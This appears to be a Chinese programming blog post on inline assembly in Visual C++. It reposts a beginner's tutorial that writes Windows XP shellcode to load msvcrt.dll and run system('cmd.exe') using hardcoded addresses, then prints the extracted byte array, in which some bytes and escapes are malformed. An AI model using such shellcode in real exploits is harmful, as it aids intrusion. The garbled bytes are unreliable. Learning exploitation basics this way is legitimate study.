用VC写Assembly代码(5) --函数调用(三)
沒什么好說的啦,看代碼就是啦
#include <windows.h>
void main()
{
?char *a = (char*)MessageBox;
?__asm
?{
??push 0
??push 0
??push 0
??push 0
??mov ebx, 77d5050bh
??call ebx
?}
?printf("%0x/n", a);
}?
順便轉一篇有關SHELLCODE的文章,看起來很簡單,但是測試就是不成功.先看看再說.
/
說起ShellCode的編寫,那可是一門大學問.本人愚笨,費了好大勁才理解緩沖區溢出的概念.ShellCode可是一次成功的攻擊的必不可少的東東,拜讀過許多前輩的文章,加上親身試驗,于是有了這么一篇文章.
首先應該有個樣本程序,好把ShellCode從中提取出來,要注意的是各個函數的調用都應該用直接Call 函數地址,也就是用C++里面的函數指針,取得各個函數的地址可以先用GetProcAddress()函數取得,并且各個系統里面函數地址也不相同.本來想偷個懶用VC寫的,可是發現自己沒裝VC(暈倒~~~)? 那還是用匯編寫吧
這個程序首先是LoadLibraryA(msvcrt.dll),然后system(cmd.exe),聽起來很簡單吧,寫起來也很簡單
.386 
.model flat,stdcall 
option casemap:none 
.data
.code 
start:
??? ;LoadLibraryA("msvcrt.dll")
??? push ebp
??? mov ebp,esp
??? push eax
??? push eax
??? push eax
??? mov eax,4356534Dh
??? mov dword ptr[ebp-0Ch], eax
??? mov eax,442E5452h
??? mov dword ptr[ebp-08h], eax
??? mov byte ptr[ebp-04h],4Ch
??? mov byte ptr[ebp-03h],4Ch
??? 
??? ;我的系統是XP SP2 MSDN版? 相關的函數地址也就是這個版本的? 
??? lea eax,[ebp-0Ch]
??? push eax
??? mov edx,7C801D77h
??? call edx
??? 
??? ;system(cmd.exe)
??? push ebp 
??? mov ebp, esp 
??? sub esp, 0Ch
??? 
??? mov eax, 2E444D43h
??? mov dword ptr [ebp-08h], eax
??? mov byte ptr [ebp-04h], 45h
??? mov byte ptr [ebp-03h], 58h
??? mov byte ptr [ebp-02h], 45h
??? 
??? 
??? xor edx, edx 
??? mov byte ptr [ebp-1h], dl 
??? lea eax, dword ptr [ebp-08h]
??? push eax 
??? mov eax, 77BF93C7h
??? call eax 
??? 
??? ;ExitProcess(0)
??? push 0
??? mov eax,7C81CDDAh? 
??? call eax
??? 
end start
哈哈,挺簡單吧,用MASM編譯鏈接.運行一下? 一個可愛的CMD.exe打開了.最后一步提取就更簡單了,用調試器查看機器碼,抓緊寫吧?? 哈哈?? 這不 出來了
unsigned char shellcode[]=
"/x55/x8B/xEC/x50/x50/x50/xB8/x4D/x53/x56/x43/x89/x45"
"/xF4/xB8/x52/x54/x2E/x44/x89/x45/xF8/xC6/x45/xFC"
"/x4C/xC6/x45/xFD/x4C/x8D/x45F4/x50/xBA"
"/x77/x1D/x80/x7C" //Address of LoadLibraryA in WinXPSP2
"/xFF/xD2/x55/x8B/xEC/x83/xEC/x0C/xB8/x43/x4D/x44/x2E"
"/x89/x45/xF8/xC6/x45/xFC/x45/xC6/x45/xFD/x58/xC645/xFE"
"/x45/x33/xD2/x88/x55/xFF/x8D/x45/xF8/x50/xB8"
"/xC7/x93/xBF/x77" //Address of system in WinXPSP2
"/xFF/xD0";
這個簡單的ShellCode雖然很簡單也不實用,但是學習就是要一步一個腳印,有淺至深,這算是在這里記一筆我這幾天的一點學習內容.
總結
以上是生活随笔為你收集整理的用VC写Assembly代码(5) --函数调用(三)的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: 实现串匹配的并行算法_5-1-KMP模式
- 下一篇: python从random生成列表_Py
